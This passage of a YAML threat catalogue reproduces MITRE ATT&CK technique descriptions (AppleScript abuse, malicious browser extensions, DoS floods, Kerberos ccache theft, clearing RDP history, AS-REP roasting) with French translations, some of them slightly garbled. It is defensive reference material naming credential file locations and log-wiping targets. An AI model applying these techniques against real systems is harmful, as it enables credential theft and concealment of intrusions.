      \ and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s,\
      \ which otherwise would require compilation and execution in a mach-O binary\
      \ file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting\
      \ language, it can be used to launch more common techniques as well such as\
      \ a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation:\
      \ Macro Malware Targets Macs)\nhttps://attack.mitre.org/techniques/T1059/002"
    translations:
      fr:
        name: AppleScript
        description: "Les adversaires peuvent abuser d\u2019AppleScript pour l\u2019\
          ex\xE9cution. AppleScript est un langage de script macOS con\xE7u pour contr\xF4\
          ler les applications et certaines parties du syst\xE8me d\u2019exploitation\
          \ via des messages inter-applications appel\xE9s AppleEvents. (Citation\
          \ : Apple AppleScript) Ces messages AppleEvent peuvent \xEAtre envoy\xE9\
          s ind\xE9pendamment ou facilement script\xE9s avec AppleScript. Ces \xE9\
          v\xE9nements peuvent localiser les fen\xEAtres ouvertes, envoyer des frappes\
          \ au clavier et interagir avec presque toutes les applications ouvertes\
          \ localement ou \xE0 distance.\n\nLes scripts peuvent \xEAtre ex\xE9cut\xE9\
          s \xE0 partir de la ligne de commande via <code>osascript /path/to/script</code>\
          \ ou <code>osascript -e \xAB\_script here\_\xBB.</code> Outre la ligne de\
          \ commande, les scripts peuvent \xEAtre ex\xE9cut\xE9s de nombreuses fa\xE7\
          ons, notamment les r\xE8gles de messagerie, les alarmes Calendar.app et\
          \ les flux de travail Automator. Les AppleScripts peuvent \xE9galement \xEA\
          tre ex\xE9cut\xE9s en tant que scripts shell en texte brut en ajoutant <code>#\_\
          !/usr/bin/osascript</code> au d\xE9but du fichier de script. (Citation :\
          \ SentinelOne AppleScript)\n\nLes AppleScripts n\u2019ont pas besoin d\u2019\
          appeler <code>osascript</code> pour s\u2019ex\xE9cuter. Cependant, ils peuvent\
          \ \xEAtre ex\xE9cut\xE9s \xE0 partir de binaires mach-O \xE0 l\u2019aide\
          \ du <code>NSAppleScript</code> ou <code>OSAScript</code> de macOS [API\
          \ native https://attack.mitre.org/techniques/T1106, qui ex\xE9cutent tous\
          \ deux du code ind\xE9pendamment de l\u2019utilitaire de ligne de commande\
          \ <code>/usr/bin/osascript</code>.\n\nLes adversaires peuvent abuser d\u2019\
          AppleScript pour ex\xE9cuter divers comportements, tels que l\u2019interaction\
          \ avec une connexion SSH ouverte, le d\xE9placement vers des machines distantes\
          \ et m\xEAme la pr\xE9sentation aux utilisateurs de fausses bo\xEEtes de\
          \ dialogue. Ces \xE9v\xE9nements ne peuvent pas d\xE9marrer les applications\
          \ \xE0 distance (ils peuvent les d\xE9marrer localement), mais ils peuvent\
          \ interagir avec les applications si elles s\u2019ex\xE9cutent d\xE9j\xE0\
          \ \xE0 distance. Sur macOS 10.10 Yosemite et versions ult\xE9rieures, AppleScript\
          \ a la capacit\xE9 d\u2019ex\xE9cuter des [API natives](https://attack.mitre.org/techniques/T1106),\
          \ qui n\xE9cessiteraient autrement une compilation et une ex\xE9cution dans\
          \ un format de fichier binaire mach-O. (Citation : SentinelOne macOS Red\
          \ Team) Comme il s\u2019agit d\u2019un langage de script, il peut \xE9galement\
          \ \xEAtre utilis\xE9 pour lancer des techniques plus courantes, telles qu\u2019\
          un shell inverse via [Python](https://attack.mitre.org/techniques/T1059/006).\
          \ (Citation : Les macro-malwares ciblent les Mac)\nhttps://attack.mitre.org/techniques/T1059/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1176
    ref_id: T1176
    name: Browser Extensions
    description: 'Adversaries may abuse Internet browser extensions to establish persistent
      access to victim systems. Browser extensions or plugins are small programs that
      can add functionality and customize aspects of Internet browsers. They can be
      installed directly or through a browser''s app store and generally have access
      and permissions to everything that the browser can access.(Citation: Wikipedia
      Browser Extension)(Citation: Chrome Extensions Definition)


      Malicious extensions can be installed into a browser through malicious app store
      downloads masquerading as legitimate extensions, through social engineering,
      or by an adversary that has already compromised a system. Security can be limited
      on browser app stores so it may not be difficult for malicious extensions to
      defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending
      on the browser, adversaries may also manipulate an extension''s update url to
      install updates from an adversary controlled server or manipulate the mobile
      configuration file to silently install additional extensions.


      Previous to macOS 11, adversaries could silently install browser extensions
      via the command line using the <code>profiles</code> tool to install malicious
      <code>.mobileconfig</code> files. In macOS 11+, the use of the <code>profiles</code>
      tool can no longer install configuration profiles, however <code>.mobileconfig</code>
      files can be planted and installed with user interaction.(Citation: xorrior
      chrome extensions macOS)


      Once the extension is installed, it can browse to websites in the background,
      steal all information that a user enters into a browser (including credentials),
      and be used as an installer for a RAT for persistence.(Citation: Chrome Extension
      Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome
      Extension Steals Creds)(Citation: Catch All Chrome Extension)


      There have also been instances of botnets using a persistent backdoor through
      malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation:
      Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also
      use browser extensions to modify browser permissions and components, privacy
      settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation:
      Browers FriarFox)(Citation: Browser Adrozek)

      https://attack.mitre.org/techniques/T1176'
    translations:
      fr:
        name: Extensions de navigateur
        description: "Les adversaires peuvent abuser des extensions de navigateur\
          \ Internet pour \xE9tablir un acc\xE8s persistant aux syst\xE8mes des victimes.\
          \ Les extensions de navigateur ou les plugins sont de petits programmes\
          \ qui peuvent ajouter des fonctionnalit\xE9s et personnaliser des aspects\
          \ des navigateurs Internet. Ils peuvent \xEAtre install\xE9s directement\
          \ ou via la boutique d\u2019applications d\u2019un navigateur et ont g\xE9\
          n\xE9ralement acc\xE8s et autorisations \xE0 tout ce que le navigateur peut\
          \ acc\xE9der. (citation : Extension de navigateur Wikip\xE9dia)(Citation\
          \ : D\xE9finition des extensions Chrome)\n\nDes extensions malveillantes\
          \ peuvent \xEAtre install\xE9es dans un navigateur par le biais de t\xE9\
          l\xE9chargements malveillants sur une boutique d\u2019applications se faisant\
          \ passer pour des extensions l\xE9gitimes, par le biais de l\u2019ing\xE9\
          nierie sociale ou par un adversaire qui a d\xE9j\xE0 compromis un syst\xE8\
          me. La s\xE9curit\xE9 peut \xEAtre limit\xE9e sur les magasins d\u2019applications\
          \ de navigateur, il n\u2019est donc pas difficile pour les extensions malveillantes\
          \ de d\xE9jouer les scanners automatis\xE9s. (Citation : num\xE9ros d\u2019\
          extension Chrome malveillants) Selon le navigateur, les adversaires peuvent\
          \ \xE9galement manipuler l\u2019URL de mise \xE0 jour d\u2019une extension\
          \ pour installer des mises \xE0 jour \xE0 partir d\u2019un serveur contr\xF4\
          l\xE9 par l\u2019adversaire ou manipuler le fichier de configuration mobile\
          \ pour installer silencieusement des extensions suppl\xE9mentaires.\n\n\
          Avant macOS 11, les adversaires pouvaient installer silencieusement des\
          \ extensions de navigateur via la ligne de commande \xE0 l\u2019aide de\
          \ l\u2019outil de <code>profils</code> pour installer des fichiers <code>.mobileconfig</code>\
          \ malveillants. Dans macOS 11+, l\u2019utilisation de l\u2019outil <code>Profils</code>\
          \ ne peut plus installer de profils de configuration, mais les fichiers\
          \ <code>.mobileconfig</code> peuvent \xEAtre plant\xE9s et install\xE9s\
          \ avec l\u2019interaction de l\u2019utilisateur. (Citation\_: extensions\
          \ chrome xorrior macOS)\n\nUne fois l\u2019extension install\xE9e, elle\
          \ peut acc\xE9der \xE0 des sites Web en arri\xE8re-plan, voler toutes les\
          \ informations qu\u2019un utilisateur saisit dans un navigateur (y compris\
          \ les informations d\u2019identification) et \xEAtre utilis\xE9e comme installateur\
          \ pour un RAT pour la persistance. (Citation\_: Chrome Extension Crypto\
          \ Miner)(Citation\_: Extensions Chrome ICEBRG)(Citation\_: L\u2019extension\
          \ Google Chrome du banquier vole des cr\xE9dits)(Citation : Extension Chrome\
          \ Catch All)\n\nIl y a \xE9galement eu des cas de botnets utilisant une\
          \ porte d\xE9rob\xE9e persistante via des extensions Chrome malveillantes\
          \ pour [Command and Control](https://attack.mitre.org/tactics/TA0011). (R\xE9\
          f\xE9rence : Stantinko Botnet)(Citation\_: Chrome Extension C2 Malware)\
          \ Les adversaires peuvent \xE9galement utiliser des extensions de navigateur\
          \ pour modifier les autorisations et les composants du navigateur, les param\xE8\
          tres de confidentialit\xE9 et d\u2019autres contr\xF4les de s\xE9curit\xE9\
          \ pour [Defense Evasion](https://attack.mitre.org/tactics/TA0005). (Citation\
          \ : Browers FriarFox)(Citation : navigateur Adrozek)\nhttps://attack.mitre.org/techniques/T1176"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1499.002
    ref_id: T1499.002
    name: Service Exhaustion Flood
    description: 'Adversaries may target the different network services provided by
      systems to conduct a denial of service (DoS). Adversaries often target the availability
      of DNS and web services, however others have been targeted as well.(Citation:
      Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through
      a variety of means, some of which apply generally while others are specific
      to the software being used to provide the service.


      One example of this type of attack is known as a simple HTTP flood, where an
      adversary sends a large number of HTTP requests to a web server to overwhelm
      it and/or an application that runs on top of it. This flood relies on raw volume
      to accomplish the objective, exhausting any of the various resources required
      by the victim software to provide the service.(Citation: Cloudflare HTTPflood)


      Another variation, known as a SSL renegotiation attack, takes advantage of a
      protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms
      for the client and server to agree on an encryption algorithm to use for subsequent
      secure connections. If SSL renegotiation is enabled, a request can be made for
      renegotiation of the crypto algorithm. In a renegotiation attack, the adversary
      establishes a SSL/TLS connection and then proceeds to make a series of renegotiation
      requests. Because the cryptographic renegotiation has a meaningful cost in computation
      cycles, this can cause an impact to the availability of the service when done
      in volume.(Citation: Arbor SSLDoS April 2012)

      https://attack.mitre.org/techniques/T1499/002'
    translations:
      fr:
        name: "Inondation d\u2019\xE9puisement du service"
        description: "Les adversaires peuvent cibler les diff\xE9rents services r\xE9\
          seau fournis par les syst\xE8mes pour effectuer un d\xE9ni de service (DoS).\
          \ Les adversaires ciblent souvent la disponibilit\xE9 des services DNS et\
          \ Web, mais d\u2019autres ont \xE9galement \xE9t\xE9 cibl\xE9s. (Citation\
          \ : Arbor AnnualDoSreport janvier 2018) Les logiciels de serveur Web peuvent\
          \ \xEAtre attaqu\xE9s par divers moyens, dont certains s\u2019appliquent\
          \ g\xE9n\xE9ralement tandis que d\u2019autres sont sp\xE9cifiques au logiciel\
          \ utilis\xE9 pour fournir le service.\n\nUn exemple de ce type d\u2019attaque\
          \ est connu sous le nom de simple inondation HTTP, o\xF9 un adversaire envoie\
          \ un grand nombre de requ\xEAtes HTTP \xE0 un serveur Web pour le submerger\
          \ et/ou \xE0 une application qui s\u2019ex\xE9cute par-dessus. Ce flood\
          \ s\u2019appuie sur le volume brut pour atteindre l\u2019objectif, en \xE9\
          puisant toutes les ressources requises par le logiciel victime pour fournir\
          \ le service. (Citation : Cloudflare HTTPflood)\n\nUne autre variante, connue\
          \ sous le nom d\u2019attaque de ren\xE9gociation SSL, tire parti d\u2019\
          une fonctionnalit\xE9 de protocole dans SSL/TLS. La suite de protocoles\
          \ SSL/TLS comprend des m\xE9canismes permettant au client et au serveur\
          \ de convenir d\u2019un algorithme de cryptage \xE0 utiliser pour les connexions\
          \ s\xE9curis\xE9es ult\xE9rieures. Si la ren\xE9gociation SSL est activ\xE9\
          e, une demande de ren\xE9gociation de l\u2019algorithme de chiffrement peut\
          \ \xEAtre faite. Dans une attaque de ren\xE9gociation, l\u2019adversaire\
          \ \xE9tablit une connexion SSL/TLS, puis proc\xE8de \xE0 une s\xE9rie de\
          \ demandes de ren\xE9gociation. \xC9tant donn\xE9 que la ren\xE9gociation\
          \ cryptographique a un co\xFBt significatif en cycles de calcul, cela peut\
          \ avoir un impact sur la disponibilit\xE9 du service lorsqu\u2019elle est\
          \ effectu\xE9e en volume. (Citation : Arbor SSLDoS avril 2012)\nhttps://attack.mitre.org/techniques/T1499/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1195.003
    ref_id: T1195.003
    name: Compromise Hardware Supply Chain
    description: 'Adversaries may manipulate hardware components in products prior
      to receipt by a final consumer for the purpose of data or system compromise.
      By modifying hardware or firmware in the supply chain, adversaries can insert
      a backdoor into consumer networks that may be difficult to detect and give the
      adversary a high degree of control over the system. Hardware backdoors may be
      inserted into various devices, such as servers, workstations, network infrastructure,
      or peripherals.

      https://attack.mitre.org/techniques/T1195/003'
    translations:
      fr:
        name: "Compromettre la cha\xEEne d\u2019approvisionnement mat\xE9rielle"
        description: "Les adversaires peuvent manipuler les composants mat\xE9riels\
          \ des produits avant leur r\xE9ception par un consommateur final dans le\
          \ but de compromettre les donn\xE9es ou le syst\xE8me. En modifiant le mat\xE9\
          riel ou le micrologiciel dans la cha\xEEne d\u2019approvisionnement, les\
          \ adversaires peuvent ins\xE9rer une porte d\xE9rob\xE9e dans les r\xE9\
          seaux grand public qui peut \xEAtre difficile \xE0 d\xE9tecter et donner\
          \ \xE0 l\u2019adversaire un degr\xE9 \xE9lev\xE9 de contr\xF4le sur le syst\xE8\
          me. Les portes d\xE9rob\xE9es mat\xE9rielles peuvent \xEAtre ins\xE9r\xE9\
          es dans divers appareils, tels que des serveurs, des postes de travail,\
          \ une infrastructure r\xE9seau ou des p\xE9riph\xE9riques.\nhttps://attack.mitre.org/techniques/T1195/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1106
    ref_id: T1106
    name: Native API
    description: 'Adversaries may interact with the native OS application programming
      interface (API) to execute behaviors. Native APIs provide a controlled means
      of calling low-level OS services within the kernel, such as those involving
      hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation:
      Linux Kernel API) These native APIs are leveraged by the OS during system boot
      (when other system components are not yet initialized) as well as carrying out
      tasks and requests during routine operations.


      Adversaries may abuse these OS API functions as a means of executing behaviors.
      Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059),
      the native API and its hierarchy of interfaces provide mechanisms to interact
      with and utilize various components of a victimized system.


      Native API functions (such as <code>NtCreateProcess</code>) may be directed
      invoked via system calls / syscalls, but these features are also often exposed
      to user-mode applications via interfaces and libraries.(Citation: OutFlank System
      Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example,
      functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code>
      will allow programs and scripts to start other processes.(Citation: Microsoft
      CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary,
      run a CLI command, load modules, etc. as thousands of similar API functions
      exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation:
      GLIBC)


      Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are
      also available to interact with native APIs. These frameworks typically provide
      language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability
      of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS
      Cocoa)(Citation: macOS Foundation)


      Adversaries may use assembly to directly or in-directly invoke syscalls in an
      attempt to subvert defensive sensors and detection signatures such as user mode
      API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper
      with sensors and defensive tools associated with API monitoring, such as unhooking
      monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001).

      https://attack.mitre.org/techniques/T1106'
    translations:
      fr:
        name: Native API
        description: "Les adversaires peuvent interagir avec l\u2019interface de programmation\
          \ d\u2019application (API) native du syst\xE8me d\u2019exploitation pour\
          \ ex\xE9cuter des comportements. Les API natives fournissent un moyen contr\xF4\
          l\xE9 d\u2019appeler des services de syst\xE8me d\u2019exploitation de bas\
          \ niveau au sein du noyau, tels que ceux impliquant du mat\xE9riel/des p\xE9\
          riph\xE9riques, de la m\xE9moire et des processus. (Citation : NT API Windows)(Citation\
          \ : API du noyau Linux) Ces API natives sont exploit\xE9es par le syst\xE8\
          me d\u2019exploitation lors du d\xE9marrage du syst\xE8me (lorsque les autres\
          \ composants du syst\xE8me ne sont pas encore initialis\xE9s) ainsi que\
          \ lors de l\u2019ex\xE9cution de t\xE2ches et de demandes lors d\u2019op\xE9\
          rations de routine.\n\nLes adversaires peuvent abuser de ces fonctions de\
          \ l\u2019API du syst\xE8me d\u2019exploitation comme moyen d\u2019ex\xE9\
          cuter des comportements. \xC0 l\u2019instar de [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059),\
          \ l\u2019API native et sa hi\xE9rarchie d\u2019interfaces fournissent des\
          \ m\xE9canismes permettant d\u2019interagir avec et d\u2019utiliser divers\
          \ composants d\u2019un syst\xE8me victimis\xE9.\n\nLes fonctions API natives\
          \ (telles que <code>NtCreateProcess</code>) peuvent \xEAtre appel\xE9es\
          \ directement via des appels syst\xE8me / appels syst\xE8me, mais ces fonctionnalit\xE9\
          s sont \xE9galement souvent expos\xE9es aux applications en mode utilisateur\
          \ via des interfaces et des biblioth\xE8ques. (Citation : Appels syst\xE8\
          me OutFlank)(Citation : Appels syst\xE8me CyberBit)(Citation : Appels syst\xE8\
          me MDSec) Par exemple, des fonctions telles que l\u2019API Windows <code>CreateProcess()</code>\
          \ ou GNU <code>fork()</code> permettront aux programmes et aux scripts de\
          \ d\xE9marrer d\u2019autres processus. (Citation : Microsoft CreateProcess)(Citation\
          \ : Fourche GNU) Cela peut permettre aux appelants d\u2019API d\u2019ex\xE9\
          cuter un binaire, d\u2019ex\xE9cuter une commande CLO, de charger des modules,\
          \ etc., car des milliers de fonctions API similaires existent pour diverses\
          \ op\xE9rations syst\xE8me. (Citation : Microsoft Win32)(R\xE9f\xE9rence\
          \ : LIBC)(Citation : GLIBC)\n\nDes frameworks logiciels de niveau sup\xE9\
          rieur, tels que Microsoft .NET et macOS Cocoa, sont \xE9galement disponibles\
          \ pour interagir avec les API natives. Ces frameworks fournissent g\xE9\
          n\xE9ralement des wrappers/abstractions de langage aux fonctionnalit\xE9\
          s de l\u2019API et sont con\xE7us pour la facilit\xE9 d\u2019utilisation/portabilit\xE9\
          \ du code. (Citation : Microsoft NET)(Citation : Services de base d\u2019\
          Apple)(Citation : MACOS Cocoa)(Citation : Fondation macOS)\n\nLes adversaires\
          \ peuvent utiliser l\u2019assembleur pour invoquer directement ou indirectement\
          \ des appels syst\xE8me dans le but de contourner les capteurs d\xE9fensifs\
          \ et les signatures de d\xE9tection telles que les crochets API en mode\
          \ utilisateur. (Citation : Redops syscalls) Les adversaires peuvent \xE9\
          galement tenter de falsifier les capteurs et les outils d\xE9fensifs associ\xE9\
          s \xE0 la surveillance des API, tels que le d\xE9crochage des fonctions\
          \ surveill\xE9es via [D\xE9sactiver ou modifier les outils](https://attack.mitre.org/techniques/T1562/001).\n\
          https://attack.mitre.org/techniques/T1106"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1558.005
    ref_id: T1558.005
    name: Ccache Files
    description: "Adversaries may attempt to steal Kerberos tickets stored in credential\
      \ cache files (or ccache). These files are used for short term storage of a\
      \ user's active session credentials. The ccache file is created upon user authentication\
      \ and allows for access to multiple services without the user having to re-enter\
      \ credentials. \n\nThe <code>/etc/krb5.conf</code> configuration file and the\
      \ <code>KRB5CCNAME</code> environment variable are used to set the storage location\
      \ for ccache entries. On Linux, credentials are typically stored in the `/tmp`\
      \ directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS,\
      \ ccache entries are stored by default in memory with an `API:{uuid}` naming\
      \ scheme. Typically, users interact with ticket storage using <code>kinit</code>,\
      \ which obtains a Ticket-Granting-Ticket (TGT) for the principal; <code>klist</code>,\
      \ which lists obtained tickets currently held in the credentials cache; and\
      \ other built-in binaries.(Citation: Kerberos GNU/Linux)(Citation: Binary Defense\
      \ Kerberos Linux)\n\nAdversaries can collect tickets from ccache files stored\
      \ on disk and authenticate as the current user without their password to perform\
      \ [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.\
      \ Adversaries can also use these tickets to impersonate legitimate users with\
      \ elevated privileges to perform [Privilege Escalation](https://attack.mitre.org/tactics/TA0004).\
      \ Tools like Kekeo can also be used by adversaries to convert ccache files to\
      \ Windows format for further [Lateral Movement](https://attack.mitre.org/tactics/TA0008).\
      \ On macOS, adversaries may use open-source tools or the Kerberos framework\
      \ to interact with ccache files and extract TGTs or Service Tickets via lower-level\
      \ APIs.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: Linux Kerberos\
      \ Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\nhttps://attack.mitre.org/techniques/T1558/005"
    translations:
      fr:
        name: Fichiers Ccache
        description: "Les adversaires peuvent tenter de voler des tickets Kerberos\
          \ stock\xE9s dans des fichiers de cache d\u2019informations d\u2019identification\
          \ (ou ccache). Ces fichiers sont utilis\xE9s pour le stockage \xE0 court\
          \ terme des informations d\u2019identification de session active d\u2019\
          un utilisateur. Le fichier ccache est cr\xE9\xE9 lors de l\u2019authentification\
          \ de l\u2019utilisateur et permet d\u2019acc\xE9der \xE0 plusieurs services\
          \ sans que l\u2019utilisateur ait \xE0 saisir \xE0 nouveau ses informations\
          \ d\u2019identification. \n\nLe fichier <code>de configuration /etc/krb5.conf</code>\
          \ et la variable <code>d\u2019environnement KRB5CCNAME</code> sont utilis\xE9\
          s pour d\xE9finir l\u2019emplacement de stockage des entr\xE9es ccache.\
          \ Sous Linux, les informations d\u2019identification sont g\xE9n\xE9ralement\
          \ stock\xE9es dans le r\xE9pertoire '/tmp' avec un format de nommage 'krb5cc_\_\
          %UID\_%' ou 'krb5.ccache'. Sur macOS, les entr\xE9es ccache sont stock\xE9\
          es par d\xE9faut en m\xE9moire avec un sch\xE9ma de nommage 'API\_:{uuid}'.\
          \ En r\xE8gle g\xE9n\xE9rale, les utilisateurs interagissent avec le stockage\
          \ des tickets \xE0 l\u2019aide <code>de kinit</code>, qui obtient un ticket\
          \ d\u2019octroi de ticket (TGT) pour le principal. <code>klist, qui r\xE9\
          pertorie</code> les tickets obtenus actuellement conserv\xE9s dans le cache\
          \ des identifiants ; et d\u2019autres fichiers binaires int\xE9gr\xE9s.\
          \ (Citation : Kerberos GNU/Linux)(Citation : D\xE9fense binaire Kerberos\
          \ Linux)\n\nLes adversaires peuvent collecter des tickets \xE0 partir de\
          \ fichiers ccache stock\xE9s sur le disque et s\u2019authentifier en tant\
          \ qu\u2019utilisateur actuel sans son mot de passe pour effectuer des attaques\
          \ [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Les\
          \ adversaires peuvent \xE9galement utiliser ces tickets pour se faire passer\
          \ pour des utilisateurs l\xE9gitimes disposant de privil\xE8ges \xE9lev\xE9\
          s afin d\u2019effectuer [\xC9l\xE9vation de privil\xE8ges](https://attack.mitre.org/tactics/TA0004).\
          \ Des outils comme Kekeo peuvent \xE9galement \xEAtre utilis\xE9s par des\
          \ adversaires pour convertir des fichiers ccache au format Windows pour\
          \ plus de [Mouvement lat\xE9ral](https://attack.mitre.org/tactics/TA0008).\
          \ Sur macOS, les adversaires peuvent utiliser des outils open source ou\
          \ le cadre Kerberos pour interagir avec les fichiers ccache et extraire\
          \ des TGT ou des tickets de service via des API de niveau inf\xE9rieur.\
          \ (Citation : SpectorOps Bifrost Kerberos macOS 2019)(Citation : Billets\
          \ Linux Kerberos)(Citation : Brining MimiKatz \xE0 Unix)(Citation : Kekeo)\n\
          https://attack.mitre.org/techniques/T1558/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1070.007
    ref_id: T1070.007
    name: Clear Network Connection History and Configurations
    description: 'Adversaries may clear or remove evidence of malicious network connections
      in order to clean up traces of their operations. Configuration settings as well
      as various artifacts that highlight connection history may be created on a system
      and/or in application logs from behaviors that require network connections,
      such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External
      Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use
      these artifacts to monitor or otherwise analyze network connections created
      by adversaries.


      Network connection history may be stored in various locations. For example,
      RDP connection history may be stored in Windows Registry values under (Citation:
      Microsoft RDP Removal):


      * <code>HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default</code>

      * <code>HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers</code>


      Windows may also store information about recent RDP connections in files such
      as <code>C:\Users\\%username%\Documents\Default.rdp</code> and `C:\Users\%username%\AppData\Local\Microsoft\Terminal

      Server Client\Cache\`.(Citation: Moran RDPieces) Similarly, macOS and Linux
      hosts may store information highlighting connection history in system logs (such
      as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit
      Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis
      Remote Login and Screen Sharing)


      Malicious network connections may also require changes to third-party applications
      or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004)
      or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries
      may delete or modify this data to conceal indicators and/or impede defensive
      analysis.

      https://attack.mitre.org/techniques/T1070/007'
    translations:
      fr:
        name: "Effacer l\u2019historique et les configurations des connexions r\xE9\
          seau"
        description: "Les adversaires peuvent effacer ou supprimer les preuves de\
          \ connexions r\xE9seau malveillantes afin de nettoyer les traces de leurs\
          \ op\xE9rations. Des param\xE8tres de configuration ainsi que divers artefacts\
          \ qui mettent en \xE9vidence l\u2019historique des connexions peuvent \xEA\
          tre cr\xE9\xE9s sur un syst\xE8me et/ou dans les journaux d\u2019application\
          \ \xE0 partir de comportements n\xE9cessitant des connexions r\xE9seau,\
          \ tels que [Services \xE0 distance](https://attack.mitre.org/techniques/T1021)\
          \ ou [Services \xE0 distance externes](https://attack.mitre.org/techniques/T1133).\
          \ Les d\xE9fenseurs peuvent utiliser ces artefacts pour surveiller ou analyser\
          \ les connexions r\xE9seau cr\xE9\xE9es par des adversaires.\n\nL\u2019\
          historique des connexions r\xE9seau peut \xEAtre stock\xE9 \xE0 diff\xE9\
          rents endroits. Par exemple, l\u2019historique de connexion RDP peut \xEA\
          tre stock\xE9 dans les valeurs du registre Windows sous (Citation : Suppression\
          \ de Microsoft RDP) :\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\\
          Terminal Server Client\\Par d\xE9faut</code>\n* <code>HKEY_CURRENT_USER\\\
          Software\\Microsoft\\Terminal Server Client\\Servers</code>\n\nWindows peut\
          \ \xE9galement stocker des informations sur les connexions RDP r\xE9centes\
          \ dans des fichiers tels que <code>C\_:\\Users\\\\\_%username\_%\\Documents\\\
          Default.rdp</code> et 'C\_:\\Users\\\_%username\_%\\AppData\\Local\\Microsoft\\\
          Terminal\nClient serveur\\Cache\\'. (Citation : Moran RDPieces) De m\xEA\
          me, les h\xF4tes macOS et Linux peuvent stocker des informations mettant\
          \ en \xE9vidence l\u2019historique des connexions dans les journaux syst\xE8\
          me (tels que ceux stock\xE9s dans \xAB /Library/Logs \xBB et/ou \xAB /var/log/\
          \ \xBB). (Citation : Acc\xE8s au coupable de la pomme)(Citation : FreeDesktop\
          \ Journal)(Citation : Apple Unified Log Analysis Connexion \xE0 distance\
          \ et partage d\u2019\xE9cran)\n\nLes connexions r\xE9seau malveillantes\
          \ peuvent \xE9galement n\xE9cessiter des modifications des applications\
          \ tierces ou des param\xE8tres de configuration r\xE9seau, telles que [D\xE9\
          sactiver ou modifier le pare-feu syst\xE8me](https://attack.mitre.org/techniques/T1562/004)\
          \ ou une alt\xE9ration pour activer [Proxy](https://attack.mitre.org/techniques/T1090).\
          \ Les adversaires peuvent supprimer ou modifier ces donn\xE9es pour dissimuler\
          \ des indicateurs et/ou entraver l\u2019analyse d\xE9fensive.\nhttps://attack.mitre.org/techniques/T1070/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1558.004
    ref_id: T1558.004
    name: AS-REP Roasting
    description: "Adversaries may reveal credentials of accounts that have disabled\
      \ Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002)\
      \ Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication\
      \ offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002).\
      \ When enabled, a user requesting access to a resource initiates communication\
      \ with the Domain Controller (DC) by sending an Authentication Server Request\
      \ (AS-REQ) message with a timestamp that is encrypted with the hash of their\
      \ password. If and only if the DC is able to successfully decrypt the timestamp\
      \ with the hash of the user\u2019s password, it will then send an Authentication\
      \ Server Response (AS-REP) message that contains the Ticket Granting Ticket\
      \ (TGT) to the user. Part of the AS-REP message is signed with the user\u2019\
      s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found\
      \ without preauthentication, an adversary may send an AS-REQ message without\
      \ the encrypted timestamp and receive an AS-REP message with TGT data which\
      \ may be encrypted with an insecure algorithm such as RC4. The recovered encrypted\
      \ data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002)\
      \ attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003)\
      \ and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan\
      \ 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account\
      \ registered to a domain, with or without special privileges, can be abused\
      \ to list all domain accounts that have preauthentication disabled by utilizing\
      \ Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ with an LDAP filter. Alternatively, the adversary may send an AS-REQ message\
      \ for each user. If the DC responds without errors, the account does not require\
      \ preauthentication and the AS-REP message will already contain the encrypted\
      \ data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits\
      \ Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003),\
      \ [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral\
      \ Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation:\
